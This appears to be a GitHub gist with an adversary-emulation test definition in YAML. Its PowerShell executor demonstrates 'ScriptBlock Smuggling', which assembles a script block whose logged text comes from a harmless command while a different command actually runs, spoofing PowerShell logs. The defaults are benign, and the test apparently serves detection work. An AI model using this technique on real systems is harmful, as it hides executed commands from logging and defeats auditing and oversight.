Created
June 18, 2024 20:28
-
-
Save MHaggis/0919408d5e14017adad05a74b9aaba01 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- name: ScriptBlock Smuggling | |
description: This test demonstrates the use of ScriptBlock Smuggling to spoof PowerShell logs. | |
supported_platforms: | |
- windows | |
input_arguments: | |
spoofed_command: | |
description: The benign command to be logged. | |
type: string | |
default: Write-Output 'Hello' | |
executed_command: | |
description: The actual command to be executed. | |
type: string | |
default: Write-Output 'World' | |
executor: | |
name: powershell | |
command: | | |
$SpoofedAst = [ScriptBlock]::Create("#{spoofed_command}").Ast | |
$ExecutedAst = [ScriptBlock]::Create("#{executed_command}").Ast | |
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent, | |
$null, | |
$null, | |
$null, | |
$ExecutedAst.EndBlock.Copy(), | |
$null) | |
$Sb = $Ast.GetScriptBlock() | |
$Sb.Invoke() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment